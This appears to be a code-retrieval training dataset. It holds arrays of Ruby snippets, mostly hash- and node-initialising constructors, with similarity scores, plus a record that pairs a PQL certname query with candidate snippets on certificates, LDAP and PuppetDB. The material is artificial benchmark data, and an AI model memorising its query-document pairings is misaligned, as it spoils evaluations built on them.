"def initialize(node)\n\t\t\t@data = {}\n\t\t\t@node = node\n\t\t\t@name = @node[:name]\n\t\t\t@updated_source = nil\n\t\t\t@source_name = @node[:source][:name] || nil rescue \"--\"\n\t\t\t@source_topic = @node[:source][:topic] || nil rescue \"--\"\n\t\t\t@source_file = @node[:source][:file] rescue nil\n\t\tend",
"def initialize(hash)\n super(hash)\n end",
"def initialize\n\t\tself.head = nil\n\t\tself.length = 0\n self.hash = Hash.new\n\tend",
"def initialize(hash={})\n @hash = hash\n end",
"def initialize(hash)\n @config = hash\n name = hash[:source_name]\n src = DataSource.create_with(name: name).\n find_or_create_by(config_section_id: name, connector_type: 'toggl')\n @config[:source_id] = src.id\n @config[:projects] = projects_with_clients(config[:api_token],\n config[:workspace_id])\n end",
"def initialize(hash)\n hash.each do |key, value|\n self.__send__(\"#{key}=\", value)\n end\n raise ArgumentError if id.nil? || url.nil?\n end",
"def initialize\n @nodes = Hash.new\n @rootlist = nil\n @min = nil\n @length = 0\n end",
"def initialize hash={}\n @hash = Hash.new\n\n hash.each do |key, value|\n key = key.to_sym unless key.is_a? Symbol\n @hash[key] = value\n end\n\n @hash.each do |name, node|\n @hash[name] = self.class.send(:__blobjectify__, node)\n end\n\n yield self if block_given?\n end",
"def initialize(hash)\n hash.each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\")\n end\n @id = hash[\"id\"]\n end",
"def initialize\n @hashes = Hash.new\n bootstrap\n populate\n end",
"def initialize(raw_hash)\n raise Errors::InvalidHash, 'invalid hash' unless valid_hash?(raw_hash)\n\n replace(raw_hash)\n\n @cost, @salt, @digest = split_hash(to_s)\n end",
"def initialize(hash)\n @hash = hash\n @data = resourcify_data\n end",
"def initialize(hash)\n @short_code = hash[\"short_code\"]\n @name = hash[\"name\"]\n @id = hash[\"id\"]\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @version, @cost, @salt, @checksum = split_hash(self)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def from_hash(hash)\n hash.each do |key,value|\n new_node = value.is_a?(Hash) ? Tree::TreeNode.new(key).from_hash(value) : Tree::TreeNode.new(key,value)\n self << new_node\n end\n\n return self\n end",
"def initialize(a_hash)\n from_h(a_hash)\n end",
"def initialize(raw_hash)\n if valid_hash?(raw_hash)\n self.replace(raw_hash)\n @cost, @salt, @digest = split_hash(self.to_s)\n else\n raise Errors::InvalidHash.new(\"invalid hash\")\n end\n end",
"def initialize(source); end",
"def initialize session, hash, host_uri\n\t\t\t\t@session = session\n\t\t\t\t@hash = hash\n\t\t\t\t@host_uri = host_uri\n\t\t\tend",
"def initialize(hash)\n @color = hash[:color]\n @scent = hash[:scent]\n end",
"def from_hash(data)\n @group = data[\"group\"]\n @file = data[\"source\"]\n\n self\n end",
"def initialize(hash={})\n self.init_attrs_from_hash(hash)\n end",
"def initialize(hash)\n @cw_id = hash[\"cw_id\"]\n @cik = hash[\"cik\"]\n @name = hash[\"company_name\"]\n @irs_number = hash[\"irs_number\"]\n @sic_code = hash[\"sic_code\"]\n @industry = hash[\"industry_name\"]\n @sic_sector = hash[\"sic_sector\"]\n @sector_name = hash[\"sector_name\"]\n @source_type = hash[\"source_type\"]\n @address = hash[\"raw_address\"]\n @country = hash[\"country_code\"]\n @state = hash[\"subdiv_code\"]\n @top_parent_id = hash[\"top_parent_id\"]\n @num_parents = hash[\"num_parents\"]\n @num_children = hash[\"num_children\"]\n @max_year = hash[\"max_year\"]\n @min_year = hash[\"min_year\"]\n end",
"def initialize(hash)\n @hash = hash\n @converted = {}\n end",
"def initialize()\n\t\t@put_failures = {} \n\t\t@hashID= compute_hash(@nid)\n\t\tsuper\n\tend",
"def initialize\n\t\t\t@hash = {}\n\t\tend",
"def initialize(hash, prefix)\n uri = URI.parse(\"memory:#{hash.object_id}\")\n super(uri, prefix)\n @hash = hash\n end",
"def initialize(relativePath, hash)\n #N Without this, we won't rememeber the relative path value\n @relativePath = relativePath\n #N Without this, we won't remember the file's cryptographic hash of its contents\n @hash = hash\n end",
"def initialize_clone( * ) # :nodoc:\n\t\t@hash = deep_copy( @hash )\n\tend",
"def initialize(hash)\n raise \"hash should be a Hash object #{hash.to_s}\" unless hash.is_a? Hash\n @hash = hash\n end",
"def initialize(hash)\n # @id = hash[\"id\"]\n # @street_address = hash[\"street_address\"]\n # @city = hash[\"city\"]\n # @state = hash[\"state\"]\n # @zipcode = hash[\"zipcode\"]\n # @country = hash[\"country\"]\n\n #add in correct details\n end",
"def load_ast_hash!(hash)\n end",
"def init_node\n end",
"def init_node\n end",
"def fill_from_target_hash(h)\n @scope = Scope.from_hash h[:scope]\n @references = References.from_hash h[:references]\n end",
"def initialize(data)\n @node_data = data\n end",
"def initialize(hash)\n super(hash)\n @size = hash[\"size\"]\n end",
"def initialize\n @h = new_hash\n end",
"def initialize(value, hash_value = nil)\n store_in_self(value, hash_value) if value\n @left = EmptyNode.new\n @right = EmptyNode.new\n end",
"def initialize\n @hash = {}\n end",
"def initialize\n @hash = {}\n end",
"def initialize(hash = nil)\n hash.each { |key, value| self[key] = value } if !hash.nil? && hash.is_a?(Hash)\n end",
"def initialize(node_list = Hash.new, edges = Hash.new)\n @node_list = node_list\n @edges = edges\n end",
"def initSource(source)\n\t\tfor i in 0..(@graph.size - 1) do\n\t\t\tif @graph[i].node == source\n\t\t\t\t@graph[i].distance = 0\n\t\t\t\tbreak\n\t\t\tend \n\t\tend\n\tend",
"def initialize(json_hash = FileAccessor.local_config)\n @hash = json_hash # holds the config hash from which ever node of our\n # config file this instance represents...\n\n @hash.each_pair do |key, value|\n\n define_singleton_method key do |options = {}|\n interpolate = (options[:interpolate] != false) # set interpolate var\n # to true as long as it hasn't been set to false in an\n # options hash TODO PJ: make this \"raw\" for interp. &\n # referencing other vals...\n\n if value.is_a? Hash\n ConfigHash.new(value) # create a new instance for this node\n else\n if interpolate # return interpolated values...\n if value.is_a? Array\n value.map {|item| interpolate_commands_in item}\n else\n interpolate_commands_in value\n end\n else # return raw value, most often same as interpolated value\n value\n end\n end\n end\n\n if value.is_a? String\n define_singleton_method :\"#{key}=\" do |value|\n @hash[key] = value\n end\n end\n\n end\n end",
"def initialize\n @nodes = []\n end",
"def initialize\n\t\t@nodes = []\n\tend",
"def initialize(hash_that_represents_json)\n\t\t@data = hash_that_represents_json\n\tend",
"def initialize(hash) # only called when creating books from api\n @chapters = {} # must be an empty hash on instantiation to contain all chapters of the book\n hash.each do |k,v|\n self.send(\"#{k}=\", v)\n end\n end",
"def initialize(hash=nil)\n @attributes = hash\n @attributes ||= {}\n end",
"def _from_hash(hsh)\n hsh.each do |k, v|\n v = restore_hash(v)\n v = v.map { |iv| restore_hash(iv) } if v.is_a?(Array)\n send(:\"#{k}=\", v)\n end\n self\n end",
"def initialize(hash_data, opts: {})\n @hsh = hash_data\n @opts = opts\n\n @title = @hsh[:title]\n @body = @hsh[:body_hash]\n end",
"def initialize(*args)\n super\n # hash = {}\n end",
"def initSingleSource(graph, source)\n\t\n\tfor i in 0..(graph.size - 1)\n\t\tgraph.changeDistance(i, Float::INFINITY)\n\t\tgraph.changePredecessor(i, nil)\n\tend\n\t\n\tgraph.initSource(source)#initializes the source node\nend",
"def initialize(owner_hash)\n @id = owner_hash[:id]\n @last_name = owner_hash[:last_name]\n @first_name = owner_hash[:first_name]\n @address = owner_hash[:address]\n @city = owner_hash[:city]\n @state = owner_hash[:state]\n end",
"def initialize_dup( * ) # :nodoc:\n\t\t@hash = deep_copy( @hash )\n\tend",
"def initialize(resource_hash)\n @target = resource_hash['target']\n @type = resource_hash['type'].to_s.capitalize\n @title = resource_hash['title']\n @state = resource_hash['state'] || {}\n @desired_state = resource_hash['desired_state'] || {}\n @events = resource_hash['events'] || []\n end",
"def initialize_state\n load_and_process_n3 '{ <http://example.com/x> <http://example.com/y> <http://example.com/z>.} a <http://purl.org/restdesc/states#State>.'\n end",
"def initialize(hash=nil)\n @table = HashWithIndifferentAccess.new\n\n for k,v in hash\n @table[k] = v\n new_ostruct_member(k)\n end if hash\n end",
"def initialize( hash )\n\t\t@object_classes = self.parse_objectclasses( hash['objectClasses'] || [] )\n\t\t@attribute_types = self.parse_attribute_types( hash['attributeTypes'] || [] )\n\t\t@ldap_syntaxes = self.parse_ldap_syntaxes( hash['ldapSyntaxes'] || [] )\n\t\t@matching_rules = self.parse_matching_rules( hash['matchingRules'] || [] )\n\t\t@matching_rule_uses = self.parse_matching_rule_uses( hash['matchingRuleUse'] || [] )\n\tend",
"def initialize(hash)\r\n hash.each { |k, v|\r\n # Create getters and setters\r\n self.class.attr_accessor(k)\r\n # Set value for created variable\r\n self.send(\"#{k}=\", v)\r\n }\r\n self.class.all.push(self)\r\n end",
"def initialize(tail,head)\n @tail = Sower::Node.ident(tail)\n @head = Sower::Node.ident(head)\n @key = [@tail,@head]\n end",
"def initialize\n @nodes = []\n end",
"def from_h(h)\n self.address_hash = h\n end",
"def initialize(head_contents, diff_point_contents, diff_hash)\n @head_contents = head_contents\n @diff_point_contents = diff_point_contents\n @diff_hash = diff_hash\n end",
"def initialize(hash) #.new\n @name = hash[:name][0]\n @region = hash[:region]\n @population = hash[:population]\n @capital = hash[:capital]\n @flag_link = hash[:flag_link]\n @@all << self\n #binding.pry\n end",
"def initialize(attrs = {})\n attrs.stringify_keys!\n @nodes = []\n super(attrs)\n end",
"def initialize(hash={})\n @data = Hash.new\n hash.each do |key, value|\n self[key] = value\n end\n end",
"def initialize\n @first_node = nil\n end",
"def initialize(hash)\n\t\t@id = hash['id']\n\t\t@first_name = hash['first_name']\n\t\t@last_name = hash['last_name']\n\t\t@mentor = hash['mentor']\n\tend",
"def from_hash(hash)\n @prefixes = Prefixes.create(hash[:prefixes])\n end",
"def initialize (hash)\n hash.each {|key, value|\n self.class.attr_accessor(key)\n self.send((\"#{key}=\"), value)\n }\n @@all << self\n end",
"def initialize(owner_hash)\n @id = owner_hash[:id]\n @name = owner_hash[:name]\n @address = owner_hash[:address]\n @account_IDs = []\n end",
"def initialize(key, color)\n @key = key\n # node's color is parent link's color\n @color = color\n end",
"def initialize( key )\n @key = key\n @connected_to = {} # empty hash\n end",
"def initialize(file)\n @nodes = Hash.new\n\n File.open(file) do |file|\n file.each_with_index do |line, index|\n line_dirty = line.split(' ').map { |n| n.to_i }\n if index == 0\n @num_nodes, @num_edges = line_dirty\n else\n # Destructure the array to grab the nodes and edge cost\n *nodes, edge_cost = line_dirty\n # Pick a random node as start\n @initial_node ||= nodes[0]\n # Inserts the nodes into the hash table with the edge cost\n insert(nodes, edge_cost)\n end\n end\n end\n end",
"def iterate_and_prep_hash\n self.input_ticket_arr.each do |src_destination_arr|\n src_node = node_for_key(src_destination_arr[0], :src)\n destination_node = node_for_key(src_destination_arr[1], :destn)\n src_node.next_node = destination_node\n end\n end",
"def initialize(hash={})\n hash[:fr] = Time.at(0) if hash[:fr].nil?\n hash[:to] = Time.now if hash[:to].nil?\n hash[:db] = './ffnodestats.db' if hash[:db].nil?\n\n fr = hash[:fr].to_i\n to = hash[:to].to_i\n db = hash[:db]\n\n #load rows requested\n db = SQLite3::Database.new(db)\n @macs = db.execute(\"SELECT * FROM routers\").map{|e| {router: e[0], macs: e[1].split(' ')}}\n @cons = db.execute \"SELECT * FROM connections WHERE time BETWEEN #{fr} AND #{to}\"\n #@cons.map!{|a| {time: Time.at(a[0]), router: a[1], client: a[2]}} #for debugging with irb\n @cons.map!{|a| {time: a[0], router: a[1], client: a[2]}}\n db.close\n end",
"def initialize(hash)\n @sessions = []\n @users = []\n\t@users = hash\n end",
"def initialize(source, info_hash=Hash.new)\n @infos = info_hash\n @infos = Hash.new if @infos == nil\n raise \"The Post source file does not exist (#{source})\" if !File.exist?(source)\n # read the source\n raw = File.read(source)\n # parse the source and get the metadata and content\n parse_source(raw)\n raise \"The Post source file does not contain any metadata (YAML header)\" if @data == nil\n parse_filename(source)\n set_attributes\n end",
"def initialize(source)\n super(source)\n\n @tile_width = @tile_height = TILE_SIZE\n\n @blocktypes = {}\n\n @doc = REXML::Document.new(@source)\n\n content_check\n\n @blocks = []\n\n load_tiletypes\n load_tiles\n end",
"def initialize(json, locator = nil)\n @source_json = json\n if @source_json.is_a? String\n @source_hash = JSON.parse(json).with_indifferent_access\n else\n @source_hash = @source_json\n end\n @locator = locator\n end",
"def initialize(json, locator = nil)\n @source_json = json\n if @source_json.is_a? String\n @source_hash = JSON.parse(json).with_indifferent_access\n else\n @source_hash = @source_json\n end\n @locator = locator\n end",
"def initialize(data)\n @head = Node.new(data)\n end",
"def initialize( tree )\n @tree = tree\n @result = OpenHash.new\n end",
"def initialize (network_id)\n @network_id = network_id\n @node_list = []\n end",
"def initialize(tree=nil)\n @index = nil\n @tree = tree\n \n if tree\n self.mode = tree.mode\n self.sha = tree.id\n else\n @mode = nil\n @sha = nil\n end\n end",
"def initialize(hash={}, &block)\n @modifications = []\n @search_id = DEFAULT_SEARCH_ID\n merge!(hash, &block)\n end",
"def initialize(pairs)\n @nodes = {}\n @edges = {}\n \n IO.foreach(pairs) do |line|\n from, to = *(line.strip.split(/\\s+/).map { |x| x.to_i })\n @nodes[from] = true\n @nodes[to] = true\n @edges[edge_key(from,to)] = true\n @edges[edge_key(to, from)] = true\n end\n @nodes = @nodes.keys\n end",
"def init(attributes) \n if x = attributes[:s_nodes]\n self.s_nodes = PostNode.parse(JSON.parse(x))\n end\n end",
"def initialize(source)\r\n @source = source\r\n end"
] |
[
"0.6939307",
"0.6699021",
"0.6477873",
"0.6472735",
"0.6459691",
"0.6426589",
"0.62991905",
"0.6249087",
"0.6224365",
"0.61986375",
"0.61808634",
"0.61592644",
"0.61537796",
"0.6144023",
"0.61425793",
"0.6131295",
"0.61296797",
"0.6096459",
"0.60719067",
"0.6054179",
"0.59945595",
"0.59941894",
"0.59855324",
"0.5985332",
"0.59758776",
"0.5966086",
"0.59280515",
"0.59207714",
"0.591615",
"0.5888065",
"0.5886902",
"0.5881573",
"0.5874244",
"0.5871322",
"0.58609635",
"0.585056",
"0.5833834",
"0.58331084",
"0.58166504",
"0.5812423",
"0.5779126",
"0.5770675",
"0.57696676",
"0.57696676",
"0.57694304",
"0.5762852",
"0.5757543",
"0.57180816",
"0.57104295",
"0.5684859",
"0.5684859",
"0.5678978",
"0.5677006",
"0.5647644",
"0.56297016",
"0.56144124",
"0.5614257",
"0.5612878",
"0.5606719",
"0.560638",
"0.56036735",
"0.56024784",
"0.5596949",
"0.55966926",
"0.55941147",
"0.55855227",
"0.5583254",
"0.5578399",
"0.5577187",
"0.5570757",
"0.55682653",
"0.55676043",
"0.5565983",
"0.55604815",
"0.5559256",
"0.5554307",
"0.55536747",
"0.5533052",
"0.55282015",
"0.55281025",
"0.55225515",
"0.5512657",
"0.55048805",
"0.55000734",
"0.5498586",
"0.5497067",
"0.54935336",
"0.5484715",
"0.54835707",
"0.5470408",
"0.5466175",
"0.5464952",
"0.5464952",
"0.5457987",
"0.5456541",
"0.5454219",
"0.5447541",
"0.5445044",
"0.5439756",
"0.5439585",
"0.54328644"
] |
0.0
|
-1
|
Performs the PQL query and extracts certnames
|
def discover
choria.pql_query(@query, true)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def certificate_list\n certificates = self.certs #[0].certificate.name\n list = certificates.collect! {|x| x.certificate.name + \"; \" }\n list.join()\n end",
"def list\n Puppet::SSL::Certificate.search(\"*\").collect { |c| c.name }\n end",
"def facts_for_node(certnames)\n return {} if certnames.empty? || certnames.nil?\n\n certnames.uniq!\n name_query = certnames.map { |c| [\"=\", \"certname\", c] }\n name_query.insert(0, \"or\")\n\n @logger.debug(\"Querying certnames\")\n result = make_query(name_query, 'inventory')\n\n result&.each_with_object({}) do |node, coll|\n coll[node['certname']] = node['facts']\n end\n end",
"def list\n cert_list(certstore_handler)\n end",
"def cert\n\t\t\t\t\twhere(:reference_name => \"cert\").select('DISTINCT value')\n\t\t\t\tend",
"def facts_for_node(certnames)\n return {} if certnames.empty? || certnames.nil?\n\n certnames.uniq!\n name_query = certnames.map { |c| [\"=\", \"certname\", c] }\n name_query.insert(0, \"or\")\n result = make_query(name_query, 'inventory')\n\n result&.each_with_object({}) do |node, coll|\n coll[node['certname']] = node['facts']\n end\n end",
"def certificate_list\n return @cert_list unless @cert_list.nil?\n cmd = <<-EOF\n $certs_list = Get-Item '#{resource[:cert_dir]}\\\\*' | Where-object { $_.FriendlyName -eq '#{resource[:cert_name]}' }\n if ($certs_list) {\n $data = @()\n foreach ($cert in $certs_list) {\n # don't put this in one big expression, this way powershell throws an error on the specific\n # line that is having a problem, not the beginning of the expression\n $data += @{\n 'not_after'= $cert.NotAfter.ToString(\"o\"); # Convert to ISO format\n 'not_before' = $cert.NotBefore.ToString(\"o\");\n 'serial_number' = $cert.SerialNumber;\n 'thumbprint' = $cert.Thumbprint;\n }\n }\n # powershell is dumb and will \"unbox\" a single-element array and return just the elemtn\n # we really want an array though... thanks PowerShell...\n ConvertTo-Json @($data)\n }\n EOF\n res = ps(cmd)\n Puppet.debug('parsing cert json')\n Puppet.debug(\"got output: #{res}\")\n # add to check for truthy stdout because, if the cert doesn't exist the output\n # could be nil / empty string\n @cert_list = if res[:exitcode].zero? && res[:stdout]\n JSON.parse(res[:stdout])\n else\n false\n end\n Puppet.debug(\"finished getting cert list: #{@cert_list}\")\n @cert_list\n end",
"def parse_cert(cert)\n domains_to_add = []\n san_extension = nil\n parsed_cert = OpenSSL::X509::Certificate.new(cert)\n parsed_cert.extensions.each { |extension|\n if (extension.oid == 'subjectAltName') then\n domains_to_add = parse_san_extension(extension)\n end\n }\n {:subject => parsed_cert.subject, :subjectAltName => domains_to_add}\n end",
"def find_certs(string = /./)\n acm.list_certificates().map(&:certificate_summary_list).flatten.select do |c|\n (c.domain_name.match(string)) || (c.certificate_arn.match(string))\n end\n end",
"def index\n @certificates = Certificate.all\n @nome_completo = Devise::LDAP::Adapter.get_ldap_param(current_user.username,\"cn\").first.force_encoding(\"utf-8\")\n @q = Certificate.ransack(params[:q] || {\"name_cont\"=>current_user.username})\n @certificates = @q.result.order(:name).page(params[:page]).per(15)\n end",
"def get_cert_details()\n $log.debug(\"Returning certificate details\")\n self.use_ssl = true\n disable_validations\n begin\n self.start do |x|\n return ResultContainer.new(true, x.peer_cert)\n end\n rescue => ex\n return ResultContainer.new(false, ex)\n end\n end",
"def certificate_list\n return @certificate_list\n end",
"def collect_cert_info\n # Redirect keytool check error to /dev/null\n os_has_keytool = system('keytool 2>/dev/null')\n raise 'keytool dependency not satisfied. Make sure that JAVA keytool utility is installed' unless os_has_keytool\n cert_info = {}\n certificate_raw = `keytool -printcert -rfc -jarfile #{@apk_path.shellescape}`\n certificate_content_regexp = /(-----BEGIN CERTIFICATE-----.*-----END CERTIFICATE-----)/m\n matched_data = certificate_content_regexp.match(certificate_raw)\n if matched_data\n certificate_content = matched_data.captures[0]\n cert_info = {\n issuer_raw: nil,\n cn: nil,\n ou: nil,\n o: nil,\n st: nil,\n l: nil,\n c: nil,\n creation_date: nil,\n expiration_date: nil\n }\n cert_extract_dates(certificate_content, cert_info)\n cert_extract_issuer(certificate_content, cert_info)\n else\n puts 'Failed to find CERT.RSA file in APK'\n end\n cert_info\n end",
"def ssl_certificate(query, field=nil)\n if field.nil?\n is_valid_with_error(__method__, [:hash], query)\n get('ssl-certificate', {'query' => query})\n else\n is_valid_with_error(__method__, [:ssl_field], field)\n get_params('ssl-certificate/search', { 'query' => query, 'field' => field })\n end\n end",
"def certificates_for(company)\n certificates.select do |cert|\n cert.company.equal? company\n end\n end",
"def index\n @certificate_authorities = CertificateAuthority.all\n @certificate_authorities.each { |ca| ca.collect_certificates }\n end",
"def index\n if params[:s]\n @certs = Cert.where('name = ?', params[:s])\n else\n @certs = Cert.all\n end\n end",
"def search(search_token)\n cert_search(certstore_handler, search_token)\n end",
"def create_certificate(domain_name)\n token = Digest::MD5.hexdigest(domain_name)\n response = $acm.request_certificate(\n domain_name: \"*.#{domain_name}\", \n validation_method:\"DNS\", \n subject_alternative_names: [domain_name], \n idempotency_token: token\n ) \n cert_data = $acm.describe_certificate certificate_arn: response.certificate_arn\n\n cname_records = cert_data.certificate.domain_validation_options.map do |rec|\n OpenStruct.new(name: rec.resource_record.name, value: rec.resource_record.value)\n end\n\n cname_records.uniq\nend",
"def cert_content; end",
"def certificates(options = {})\n headers = extract_headers!(options)\n json = client.list(\"/v1/auth/cert/certs\", options, headers)\n return Secret.decode(json).data[:keys] || []\n rescue HTTPError => e\n return [] if e.code == 404\n raise\n end",
"def ldapSearchLookup(key) \n answer = []\n filter = Net::LDAP::Filter.from_rfc4515(key)\n conf = Config[:ldap] \n treebase = conf[:base]\n Hiera.debug(\"Searching #{key} in LDAP backend, base #{treebase}.\")\n searchresult = @connection.search(:filter => filter)\n\n for i in 0..searchresult.length-1 do\n answer[i] = {}\n searchresult[i].each do |attribute, values|\n Hiera.debug( \" #{attribute}:\")\n answer[i][attribute.to_s] = values\n values.each do |value|\n Hiera.debug( \" ---->#{value}:\")\n end\n end\n end\n return answer\n end",
"def post_connection_check(peer_cert, hostname)\n check_common_name = true\n cert = peer_cert\n cert.extensions.each{|ext|\n next if ext.oid != \"subjectAltName\"\n ext.value.split(/,\\s+/).each{|general_name|\n if /\\ADNS:(.*)/ =~ general_name\n check_common_name = false\n reg = Regexp.escape($1).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n elsif /\\AIP Address:(.*)/ =~ general_name\n check_common_name = false\n return true if $1 == hostname\n end\n }\n }\n if check_common_name\n cert.subject.to_a.each{|oid, value|\n if oid == \"CN\"\n reg = Regexp.escape(value).gsub(/\\\\\\*/, \"[^.]+\")\n return true if /\\A#{reg}\\z/i =~ hostname\n end\n }\n end\n raise OpenSSL::SSL::SSLError, \"hostname not match\"\n end",
"def search_subdomains entity_name, headers\n\n # Set the URL for ip open ports\n url2 = \"https://api.spyse.com/v3/data/domain/subdomain?limit=100&domain=#{entity_name}\"\n\n # make the request\n response2 = http_get_body(url2,nil,headers)\n json2 = JSON.parse(response2)\n\n json2[\"data\"][\"items\"].each do |result|\n\n # Create related subdomains\n create_dns_entity_from_string(result[\"name\"], nil, false, { \"extended_spyse\" => result})\n\n # Create SslCertificate\n if result[\"cert_summary\"][\"fingerprint_sha256\"] != \"\"\n #_create_entity(\"SslCertificate\", \"name\" => result[\"cert_summary\"][\"fingerprint_sha256\"], \"extended_spyse\" => result[\"cert_summary\"])\n end\n\n # Create related IpAddress, physical location and ISP organization\n # if result[\"dns_records\"]\n # result[\"dns_records\"][\"A\"].each do |ip_result|\n # if ip_result[\"ip\"] != \"\"\n # _create_entity(\"IpAddress\", \"name\" => ip_result[\"ip\"], \"extended_spyse\" => ip_result)\n # end\n # if ip_result[\"country\"] != \"\"\n # _create_entity(\"PhysicalLocation\", \"name\" => ip_result[\"country\"])\n # end\n # if ip_result[\"org\"] != \"\"\n # _create_entity(\"Organization\", \"name\" => ip_result[\"org\"])\n # end\n # end\n # end\n\n end\n end",
"def gather_pollable_domains\n @logger.info 'CsyncJob Generate: Gathering current domain(s) data'\n Nameserver.select(:hostname_puny, :domain_id).all.each do |ns|\n %i[secure insecure].each do |i|\n @input_store[i][ns.hostname_puny] = [] unless @input_store[i].key? ns.hostname_puny\n end\n\n append_domains_to_list(ns)\n end\n end",
"def x509_certificate_string\n t=self.metadata_nokogiri.clone\n t.remove_namespaces!\n the_xpath = \"//KeyDescriptor/KeyInfo/X509Data/X509Certificate\"\n node = t.xpath(the_xpath)\n if node.blank?\n raise \"Could not extract X509Certificate from #{site.name}\"\n else\n node.inner_text\n end\n end",
"def certification_name\n return @certification_name\n end",
"def lccn_query(lccn)\n \"srw.dn any \\\"#{lccn}\\\" and srw.pc any \\\"Y\\\"\"\nend",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n skip_accounts = ['CORP$']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n if skip_accounts.include? entry.sAMAccountName.first.to_s\n next\n end\n\n begin\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :mail => entry.mail.first.to_s,\n :pwdays => 0,\n :notify => false,\n }\n rescue\n puts \"Caught exception: #{entry.inspect}\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n acct[:pwdays] = numDays\n $accounts.push acct\n end\n\n end\nend",
"def certificate_details\n data[:certificate_details]\n end",
"def keycerts; end",
"def node_facts(certname)\n Puppet.debug(\"Querying PuppetDB for Facts for: #{certname}\")\n pql = ['from', 'facts',\n ['extract', ['name', 'value'],\n ['and',\n ['=', 'certname', certname],\n ['=', 'environment', @environment],\n ]\n ]\n ]\n results = query_puppetdb(pql)\n return nil if results.nil?\n Puppet.debug(results)\n facts = {}\n results.each do |fact, _nil|\n facts[fact['name']] = fact['value']\n end\n facts\n end",
"def certificate_subject\n return \"CN=#{project.package_name}\" unless signing_identity\n\n store = machine_store? ? \"LocalMachine\" : \"CurrentUser\"\n cmd = [].tap do |arr|\n arr << \"powershell.exe\"\n arr << \"-ExecutionPolicy Bypass\"\n arr << \"-NoProfile\"\n arr << \"-Command (Get-Item Cert:/#{store}/#{cert_store_name}/#{thumbprint}).Subject\"\n end.join(\" \")\n\n shellout!(cmd).stdout.strip\n end",
"def query_pdb_host(certname, port)\n require 'json'\n require 'uri'\n require 'net/http'\n\n # TODO move to ssl\n uri = URI(\"http://localhost:#{port}/pdb/query/v4/nodes/#{certname}\")\n\n @logger.debug(\"Running PDB query: #{uri}\")\n\n begin\n data = JSON.parse(Net::HTTP.get(uri), :symbolize_names => true)\n rescue Exception => e\n err_msg = \"#{e}\\n\" +\n \" Please make sure PuppetDB is running, this script is being run from\\n\" +\n \" the PuppetDB host, and the port is correct\"\n @logger.error err_msg\n end\n\n if data.keys.include? :error\n err_msg = \"Could not retrieve node data for #{certname}\" +\n \" Server Said: #{data}\"\n @logger.error err_msg\n end\n\n @logger.debug(\"Received Response: #{data}\")\n\n data\n end",
"def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :pwdays => 0,\n :notify => false,\n }\n\n if entry.respond_to? :mail\n acct[:mail] = entry.mail.first.to_s\n else\n acct[:mail] = \"im-bigdata-pgh-sysadmins@wwpdl.vnet.ibm.com\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n next # These passwords have already expired.\n end\n\n # Send a notice 14, 7, 3, 2 and 1 days before expiration\n if [14, 7, 3, 2, 1].include? numDays\n acct[:notify] = true\n acct[:pwDays] = numDays\n end\n\n $accounts.push acct\n end\nend",
"def certificates\n attestation_response.certificate_chain[0..-2]\n end",
"def catalog_environment(certname)\n Puppet.debug(\"Querying PuppetDB for Environment using: #{certname}\")\n pql = ['from', 'nodes',\n ['extract', ['certname', 'catalog_environment'],\n ['and',\n ['=', 'certname', certname],\n ]\n ]\n ]\n results = query_puppetdb(pql)\n return nil if results.nil?\n Puppet.debug(results)\n results[0]['catalog_environment']\n end",
"def find_matching_identities (inCertificateSubjects)\n #get identities using the commmand line tool security\n identities=`security find-identity -v -p codesigning`\n #create an array\n identities=identities.split(\"\\n\")\n\n #identity_labels is the common name of all the matching certs.\n identity_labels=[]\n \n #loop over the certs that came in and compare to each identity from the keychain\n inCertificateSubjects.each{|certSubject| \n identities.each { |id| \n #only use identities that start with iPhone. This could cause issues later.\n if id[/iPhone.*/] then\n #we have a trailing quote, so need to delete it\n label=id[/iPhone.*/].delete!(\"\\\"\")\n #if we match, then we found an identity that should be saved and\n #we add it to our array\n if (label==certSubject) then\n identity_labels.push certSubject\n $stderr.puts \"Matched #{label}\"\n end\n end\n }\n }\n return identity_labels\nend",
